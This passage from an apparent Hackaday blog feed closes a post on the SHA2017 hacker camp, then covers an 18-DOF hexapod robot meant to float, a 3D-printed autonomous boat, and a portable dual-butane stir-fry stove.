There is so much to take in at these events that it can sometimes be difficult to catch everything. One can do the rounds as diligently as possible and still miss some of the cool stuff, so this is where you come in. Are you going to SHA? Are you bringing anything you consider cool to the event? Tell us about it in the comments, we’d love to hear about it as would we’re sure the rest of our readers.

Meanwhile, if you think you’ve missed the boat, don’t panic! At the time of writing, there are about 180 tickets still unsold, but they’ll be going fast! Head over to the SHA2017 tickets site to get yours.

(The stripey header, in case you were wondering, is SHA2017’s branding using as you might have guessed, the SHA algorithm to generate HTML colours. What you see are the colours for “Hackaday”.)

Filed under: cons

Hackaday Prize Entry: 18-DOF Hexaopod Aiming to Float

อาทิตย์, 07/30/2017 - 21:00

[Ken Conrad] didn’t like spiderbot projects he saw on the Internet: they mostly had 2 degrees of freedom per leg—if not fewer. He set out to make a hexapod robot with 18 DOF and the ability to move in any direction. Measuring around 20” from tip to tip, the custom, 3D-printed chassis was designed around eighteen SG90 9g micro servos. Each leg has 3 servos, one to move the tip, one for the middle, and one to move the entire leg back and forth, crab-style.

Perhaps the most intriguing notion of the project are the big paddle-like legs. [Ken] hopes get the robot to achieve some degree of flotation by laying its lower legs flat, staying afloat either due to surface tension, or maybe with the help of some buoyant material added to the legs.

[Ken] still has to figure out a control system for this beast, but we’re in awe of his creative use of zip-ties in place of traditional fasteners.

The HackadayPrize2017 is Sponsored by:

Filed under: The Hackaday Prize

Autonomous Boat Sails the High Seas

อาทิตย์, 07/30/2017 - 18:00

As the human population continues to rise and the amount of industry increases, almost no part of the globe feels the burdens of this activity more than the oceans. Whether it’s temperature change, oxygen or carbon dioxide content, or other characteristics, the study of the oceans will continue to be an ongoing scientific endeavor. The one main issue, though, is just how big the oceans really are. To study them in-depth will require robots, and for that reason [Mike] has created an autonomous boat.

This boat is designed to be 3D printed in sections, making it easily achievable for anyone with access to a normal-sized printer. The boat uses the uses the APM autopilot system and Rover firmware making it completely autonomous. Waypoints can be programmed in, and the boat will putter along to its next destination and perform whatever tasks it has been instructed. The computer is based on an ESP module, and the vessel has a generously sized payload bay.

While the size of the boat probably limits its ability to cross the Pacific anytime soon, it’s a good platform for other bodies of water and potentially a building block for larger ocean-worthy ships that might have an amateur community behind them in the future. In fact, non-powered vessels that sail the high seas are already a reality.

Filed under: robots hacks

Portable Stir-Fry Range

อาทิตย์, 07/30/2017 - 15:00

If you love a good stir-fry, you know that it can be a challenge to make on your stove at home. Engineer gourmet and Youtuber [Alex French Guy Cooking], in collaboration with [Make:], whipped up a portable range capable of making delectable stir-fry.

There are three major problems when it comes to cooking stir-fry: woks are typically unstable on normal burners, those burners don’t tend to heat from a center point out, and they usually aren’t hot enough. [Alex]’s 12,000BTU portable stove is great for regular applications, but doesn’t cut it when it comes to making an authentic stir-fry.

To focus the burner’s heat, he cut and bent a stainless steel baking ring into the shape of an exhaust nozzle — not unlike a jet engine — and lightly modified the range to accommodate the nozzle. He also added a larger baking ring with air flow holes for the wok to rest on. Two down, but there’s the issue of it not being hot enough.

So, why not use two butane canisters to double the output to 22,200 BTUs!

After a few modifications to the portable stove and it was able to accommodate a second burner neatly within the original. And, in the interest of making the stove as safe as possible, [Alex] insulated the second canister’s housing, made some modifications to the starter and added a suction cup to keep it from shifting during the spirited stir-fry cooking process.

[Alex] has also made a second video showing proper stir-fry cooking technique for those of you who have been salivating since you started reading. Just grab your tools and away you go. Or have your robo-cook take care of your meals for you.

Filed under: cooking hacks